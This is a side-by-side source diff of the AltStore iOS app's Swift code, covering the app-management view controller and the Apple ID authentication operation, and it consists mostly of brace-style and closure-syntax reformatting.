let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet) let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel) alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { (action) in alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { _ in
AppManager.shared.restore(installedApp, presentingViewController: self) { (result) in AppManager.shared.restore(installedApp, presentingViewController: self)
{ result in
do do
{ {
let app = try result.get() let app = try result.get()
@@ -1227,14 +1282,16 @@ private extension MyAppsViewController
{ {
print("Failed to restore app:", error) print("Failed to restore app:", error)
DispatchQueue.main.async { DispatchQueue.main.async
{
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
toastView.show(in: self) toastView.show(in: self)
} }
} }
} }
DispatchQueue.main.async { DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue]) self.collectionView.reloadSections([Section.activeApps.rawValue])
} }
})) }))
@@ -1267,7 +1324,8 @@ private extension MyAppsViewController
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp) self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp) self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in DatabaseManager.shared.persistentContainer.performBackgroundTask
{ context in
do do
{ {
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
@@ -1291,7 +1349,8 @@ private extension MyAppsViewController
if tempApp.isActive if tempApp.isActive
{ {
DispatchQueue.main.async { DispatchQueue.main.async
{
self.refresh(installedApp) self.refresh(installedApp)
} }
} }
@@ -1300,7 +1359,8 @@ private extension MyAppsViewController
{ {
print("Failed to change app icon.", error) print("Failed to change app icon.", error)
DispatchQueue.main.async { DispatchQueue.main.async
{
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
toastView.show(in: self) toastView.show(in: self)
} }
@@ -1311,8 +1371,10 @@ private extension MyAppsViewController
@available(iOS 14, *) @available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp) func enableJIT(for installedApp: InstalledApp)
{ {
AppManager.shared.enableJIT(for: installedApp) { result in AppManager.shared.enableJIT(for: installedApp)
DispatchQueue.main.async { { result in
DispatchQueue.main.async
{
switch result switch result
{ {
case .success: break case .success: break
@@ -1329,7 +1391,8 @@ private extension MyAppsViewController
{ {
@objc func didFetchSource(_ notification: Notification) @objc func didFetchSource(_ notification: Notification)
{ {
DispatchQueue.main.async { DispatchQueue.main.async
{
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
{ {
do { try self.updatesDataSource.fetchedResultsController.performFetch() } do { try self.updatesDataSource.fetchedResultsController.performFetch() }
@@ -1347,7 +1410,8 @@ private extension MyAppsViewController
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return } guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
self.sideloadApp(at: url) { (result) in self.sideloadApp(at: url)
{ _ in
guard url.isFileURL else { return } guard url.isFileURL else { return }
do do
@@ -1374,7 +1438,8 @@ extension MyAppsViewController
case .updates: case .updates:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
UIView.performWithoutAnimation { UIView.performWithoutAnimation
{
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15) headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
headerView.button.setTitle("", for: .normal) headerView.button.setTitle("", for: .normal)
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28) headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
@@ -1400,7 +1465,8 @@ extension MyAppsViewController
case .activeApps where kind == UICollectionView.elementKindSectionHeader: case .activeApps where kind == UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
UIView.performWithoutAnimation { UIView.performWithoutAnimation
{
headerView.layoutMargins.left = self.view.layoutMargins.left headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right headerView.layoutMargins.right = self.view.layoutMargins.right
@@ -1438,7 +1504,8 @@ extension MyAppsViewController
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader: case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
UIView.performWithoutAnimation { UIView.performWithoutAnimation
{
headerView.layoutMargins.left = self.view.layoutMargins.left headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right headerView.layoutMargins.right = self.view.layoutMargins.right
@@ -1507,50 +1574,61 @@ extension MyAppsViewController
{ {
var actions = [UIMenuElement]() var actions = [UIMenuElement]()
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app")) { (action) in let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app"))
{ _ in
self.open(installedApp) self.open(installedApp)
} }
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction]) let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise")) { (action) in let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise"))
{ _ in
self.refresh(installedApp) self.refresh(installedApp)
} }
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle")) { (action) in let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle"))
{ _ in
self.activate(installedApp) self.activate(installedApp)
} }
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive) { (action) in let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive)
{ _ in
self.deactivate(installedApp) self.deactivate(installedApp)
} }
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive) { (action) in let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive)
{ _ in
self.remove(installedApp) self.remove(installedApp)
} }
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt")) { (action) in let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt"))
{ _ in
guard #available(iOS 14, *) else { return } guard #available(iOS 14, *) else { return }
self.enableJIT(for: installedApp) self.enableJIT(for: installedApp)
} }
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc")) { (action) in let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc"))
{ _ in
self.backup(installedApp) self.backup(installedApp)
} }
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc")) { (action) in let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc"))
{ _ in
self.exportBackup(for: installedApp) self.exportBackup(for: installedApp)
} }
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc")) { (action) in let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc"))
{ _ in
self.restore(installedApp) self.restore(installedApp)
} }
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo")) { (action) in let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo"))
{ _ in
self.chooseIcon(for: installedApp) self.chooseIcon(for: installedApp)
} }
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive]) { (action) in let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive])
{ _ in
self.changeIcon(for: installedApp, to: nil) self.changeIcon(for: installedApp, to: nil)
} }
@@ -1562,7 +1640,9 @@ extension MyAppsViewController
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions) let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else { guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
else
{
#if BETA #if BETA
return [refreshAction, changeIconMenu] return [refreshAction, changeIconMenu]
#else #else
@@ -1605,9 +1685,10 @@ extension MyAppsViewController
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp) if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
{ {
var backupExists = false var backupExists = false
var outError: NSError? = nil var outError: NSError?
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError)
{ backupDirectoryURL in
#if DEBUG #if DEBUG
backupExists = true backupExists = true
#else #else
@@ -1649,7 +1730,7 @@ extension MyAppsViewController
// Legacy sideloaded app, so can't detect if it's deleted. // Legacy sideloaded app, so can't detect if it's deleted.
actions.append(removeAction) actions.append(removeAction)
} }
else if !UserDefaults.standard.isLegacyDeactivationSupported && !installedApp.isActive else if !UserDefaults.standard.isLegacyDeactivationSupported, !installedApp.isActive
{ {
// Inactive apps are actually deleted, so we need another way // Inactive apps are actually deleted, so we need another way
// for user to remove them from AltStore. // for user to remove them from AltStore.
@@ -1670,7 +1751,8 @@ extension MyAppsViewController
case .activeApps, .inactiveApps: case .activeApps, .inactiveApps:
let installedApp = self.dataSource.item(at: indexPath) let installedApp = self.dataSource.item(at: indexPath)
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil) { (suggestedActions) -> UIMenu? in return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil)
{ _ -> UIMenu? in
let actions = self.actions(for: installedApp) let actions = self.actions(for: installedApp)
let menu = UIMenu(title: "", children: actions) let menu = UIMenu(title: "", children: actions)
@@ -1868,7 +1950,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue)) let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
else { return UICollectionViewDropProposal(operation: .cancel) } else { return UICollectionViewDropProposal(operation: .cancel) }
var dropDestinationIndexPath: IndexPath? = nil var dropDestinationIndexPath: IndexPath?
defer defer
{ {
@@ -1881,7 +1963,8 @@ extension MyAppsViewController: UICollectionViewDropDelegate
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 } let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters()) { let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters())
{
for indexPath in indexPaths for indexPath in indexPaths
{ {
// Access cell directly so we can animate it correctly. // Access cell directly so we can animate it correctly.
@@ -1917,12 +2000,16 @@ extension MyAppsViewController: UICollectionViewDropDelegate
{ {
// Activating // Activating
guard point.y > activeAppsHeaderAttributes.frame.minY else { guard point.y > activeAppsHeaderAttributes.frame.minY
else
{
// Above active apps section. // Above active apps section.
return UICollectionViewDropProposal(operation: .cancel) return UICollectionViewDropProposal(operation: .cancel)
} }
guard point.y < inactiveAppsHeaderAttributes.frame.minY else { guard point.y < inactiveAppsHeaderAttributes.frame.minY
else
{
// Inactive apps section. // Inactive apps section.
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath) return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
} }
@@ -1940,13 +2027,17 @@ extension MyAppsViewController: UICollectionViewDropDelegate
// Not enough active app slots, so we need to deactivate an app. // Not enough active app slots, so we need to deactivate an app.
// Provided destinationIndexPath is inaccurate. // Provided destinationIndexPath is inaccurate.
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue else { guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue
else
{
// Invalid destination index path. // Invalid destination index path.
return UICollectionViewDropProposal(operation: .cancel) return UICollectionViewDropProposal(operation: .cancel)
} }
let installedApp = self.dataSource.item(at: indexPath) let installedApp = self.dataSource.item(at: indexPath)
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else { guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
else
{
// Can't deactivate AltStore. // Can't deactivate AltStore.
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath) return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
} }
@@ -1978,8 +2069,10 @@ extension MyAppsViewController: UICollectionViewDropDelegate
installedApp.isActive = true installedApp.isActive = true
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath) let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
self.deactivate(previousInstalledApp) { (result) in self.deactivate(previousInstalledApp)
installedApp.managedObjectContext?.perform { { result in
installedApp.managedObjectContext?.perform
{
switch result switch result
{ {
case .failure: installedApp.isActive = false case .failure: installedApp.isActive = false
@@ -2053,7 +2146,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
switch controller.documentPickerMode switch controller.documentPickerMode
{ {
case .import, .open: case .import, .open:
self.sideloadApp(at: fileURL) { (result) in self.sideloadApp(at: fileURL)
{ result in
print("Sideloaded app at \(fileURL) with result:", result) print("Sideloaded app at \(fileURL) with result:", result)
} }
@@ -2079,7 +2173,7 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
previewingContext.sourceRect = cell.frame previewingContext.sourceRect = cell.frame
let app = self.dataSource.item(at: indexPath) let app = self.dataSource.item(at: indexPath)
guard let storeApp = app.storeApp else { return nil} guard let storeApp = app.storeApp else { return nil }
let appViewController = AppViewController.makeAppViewController(app: storeApp) let appViewController = AppViewController.makeAppViewController(app: storeApp)
return appViewController return appViewController
@@ -2099,9 +2193,10 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate
{ {
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
{ {
defer { defer
{
picker.dismiss(animated: true, completion: nil) picker.dismiss(animated: true, completion: nil)
self._imagePickerInstalledApp = nil self._imagePickerInstalledApp = nil
} }

View File

@@ -7,11 +7,11 @@
// //
import Foundation import Foundation
import Roxas
import Network import Network
import Roxas
import AltStoreCore
import AltSign import AltSign
import AltStoreCore
enum AuthenticationError: LocalizedError enum AuthenticationError: LocalizedError
{ {
@@ -22,8 +22,10 @@ enum AuthenticationError: LocalizedError
case missingPrivateKey case missingPrivateKey
case missingCertificate case missingCertificate
var errorDescription: String? { var errorDescription: String?
switch self { {
switch self
{
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "") case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "") case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "") case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
@@ -82,7 +84,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
} }
// Sign In // Sign In
self.signIn() { (result) in self.signIn
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) } guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result switch result
@@ -93,7 +96,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1 self.progress.completedUnitCount += 1
// Fetch Team // Fetch Team
self.fetchTeam(for: account, session: session) { (result) in self.fetchTeam(for: account, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) } guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result switch result
@@ -104,7 +108,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1 self.progress.completedUnitCount += 1
// Fetch Certificate // Fetch Certificate
self.fetchCertificate(for: team, session: session) { (result) in self.fetchCertificate(for: team, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) } guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result switch result
@@ -115,7 +120,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1 self.progress.completedUnitCount += 1
// Register Device // Register Device
self.registerCurrentDevice(for: team, session: session) { (result) in self.registerCurrentDevice(for: team, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) } guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result switch result
@@ -125,7 +131,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
self.progress.completedUnitCount += 1 self.progress.completedUnitCount += 1
// Save account/team to disk. // Save account/team to disk.
self.save(team) { (result) in self.save(team)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) } guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result switch result
@@ -133,7 +140,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
case .failure(let error): self.finish(.failure(error)) case .failure(let error): self.finish(.failure(error))
case .success: case .success:
// Must cache App IDs _after_ saving account/team to disk. // Must cache App IDs _after_ saving account/team to disk.
self.cacheAppIDs(team: team, session: session) { (result) in self.cacheAppIDs(team: team, session: session)
{ result in
let result = result.map { _ in (team, certificate, session) } let result = result.map { _ in (team, certificate, session) }
self.finish(result) self.finish(result)
} }
@@ -152,7 +160,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void) func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
{ {
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext() let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
context.performAndWait { context.performAndWait
{
do do
{ {
let account: Account let account: Account
@@ -204,7 +213,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success") print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext() let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
context.perform { context.perform
{
do do
{ {
let (altTeam, altCertificate, session) = try result.get() let (altTeam, altCertificate, session) = try result.get()
@@ -241,7 +251,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1) let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion) if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
{ {
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
} }
else else
{ {
@@ -258,14 +268,16 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
Keychain.shared.signingCertificate = altCertificate.p12Data() Keychain.shared.signingCertificate = altCertificate.p12Data()
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
self.showInstructionsIfNecessary() { (didShowInstructions) in self.showInstructionsIfNecessary
{ _ in
let signer = ALTSigner(team: altTeam, certificate: altCertificate) let signer = ALTSigner(team: altTeam, certificate: altCertificate)
// Refresh screen must go last since a successful refresh will cause the app to quit. // Refresh screen must go last since a successful refresh will cause the app to quit.
self.showRefreshScreenIfNecessary(signer: signer, session: session) { (didShowRefreshAlert) in self.showRefreshScreenIfNecessary(signer: signer, session: session)
{ _ in
super.finish(result) super.finish(result)
DispatchQueue.main.async { DispatchQueue.main.async
{
self.navigationController.dismiss(animated: true, completion: nil) self.navigationController.dismiss(animated: true, completion: nil)
} }
} }
@@ -275,7 +287,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
{ {
super.finish(result) super.finish(result)
DispatchQueue.main.async { DispatchQueue.main.async
{
self.navigationController.dismiss(animated: true, completion: nil) self.navigationController.dismiss(animated: true, completion: nil)
} }
} }
@@ -295,7 +308,7 @@ private extension AuthenticationOperation
{ {
guard presentingViewController.presentedViewController == nil else { return false } guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.setViewControllers([viewController], animated: false) self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil) presentingViewController.present(self.navigationController, animated: true, completion: nil)
} }
else else
@@ -314,14 +327,16 @@ private extension AuthenticationOperation
{ {
func authenticate() func authenticate()
{ {
DispatchQueue.main.async { DispatchQueue.main.async
{
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in authenticationViewController.authenticationHandler = { appleID, password, completionHandler in
self.authenticate(appleID: appleID, password: password) { (result) in self.authenticate(appleID: appleID, password: password)
{ result in
completionHandler(result) completionHandler(result)
} }
} }
authenticationViewController.completionHandler = { (result) in authenticationViewController.completionHandler = { result in
if let (account, session, password) = result if let (account, session, password) = result
{ {
// We presented the Auth UI and the user signed in. // We presented the Auth UI and the user signed in.
@@ -346,7 +361,8 @@ private extension AuthenticationOperation
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
{ {
self.authenticate(appleID: appleID, password: password) { (result) in self.authenticate(appleID: appleID, password: password)
{ result in
switch result switch result
{ {
case .success((let account, let session)): case .success((let account, let session)):
@@ -372,7 +388,7 @@ private extension AuthenticationOperation
self.appleIDEmailAddress = appleID self.appleIDEmailAddress = appleID
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context) let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
fetchAnisetteDataOperation.resultHandler = { (result) in fetchAnisetteDataOperation.resultHandler = { result in
switch result switch result
{ {
case .failure(let error): completionHandler(.failure(error)) case .failure(let error): completionHandler(.failure(error))
@@ -381,10 +397,12 @@ private extension AuthenticationOperation
if let presentingViewController = self.presentingViewController if let presentingViewController = self.presentingViewController
{ {
verificationHandler = { (completionHandler) in verificationHandler = { completionHandler in
DispatchQueue.main.async { DispatchQueue.main.async
{
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert) let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in alertController.addTextField
{ textField in
textField.autocorrectionType = .no textField.autocorrectionType = .no
textField.autocapitalizationType = .none textField.autocapitalizationType = .none
textField.keyboardType = .numberPad textField.keyboardType = .numberPad
@@ -392,7 +410,8 @@ private extension AuthenticationOperation
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField) NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
} }
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default)
{ _ in
let textField = alertController.textFields?.first let textField = alertController.textFields?.first
let code = textField?.text ?? "" let code = textField?.text ?? ""
@@ -402,7 +421,8 @@ private extension AuthenticationOperation
alertController.addAction(submitAction) alertController.addAction(submitAction)
self.submitCodeAction = submitAction self.submitCodeAction = submitAction
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel)
{ _ in
completionHandler(nil) completionHandler(nil)
}) })
@@ -424,7 +444,8 @@ private extension AuthenticationOperation
} }
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData, ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
verificationHandler: verificationHandler) { (account, session, error) in verificationHandler: verificationHandler)
{ account, session, error in
if let account = account, let session = session if let account = account, let session = session
{ {
completionHandler(.success((account, session))) completionHandler(.success((account, session)))
@@ -443,34 +464,43 @@ private extension AuthenticationOperation
func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Swift.Error>) -> Void) func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Swift.Error>) -> Void)
{ {
func selectTeam(from teams: [ALTTeam]) func selectTeam(from teams: [ALTTeam])
{ {
if teams.count <= 1 { if teams.count <= 1
if let team = teams.first { {
return completionHandler(.success(team)) if let team = teams.first
} else { {
return completionHandler(.failure(AuthenticationError.noTeam)) return completionHandler(.success(team))
} }
} else { else
DispatchQueue.main.async { {
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController return completionHandler(.failure(AuthenticationError.noTeam))
}
}
else
{
DispatchQueue.main.async
{
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
selectTeamViewController.teams = teams selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController) if !self.present(selectTeamViewController)
{ {
return completionHandler(.failure(AuthenticationError.noTeam)) return completionHandler(.failure(AuthenticationError.noTeam))
} }
} }
} }
} }
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in ALTAppleAPI.shared.fetchTeams(for: account, session: session)
{ teams, error in
switch Result(teams, error) switch Result(teams, error)
{ {
case .failure(let error): completionHandler(.failure(error)) case .failure(let error): completionHandler(.failure(error))
case .success(let teams): case .success(let teams):
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in DatabaseManager.shared.persistentContainer.performBackgroundTask
{ context in
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier }) if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
{ {
completionHandler(.success(altTeam)) completionHandler(.success(altTeam))
@@ -489,18 +519,22 @@ private extension AuthenticationOperation
func requestCertificate() func requestCertificate()
{ {
let machineName = "AltStore - " + UIDevice.current.name let machineName = "AltStore - " + UIDevice.current.name
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session)
{ certificate, error in
do do
{ {
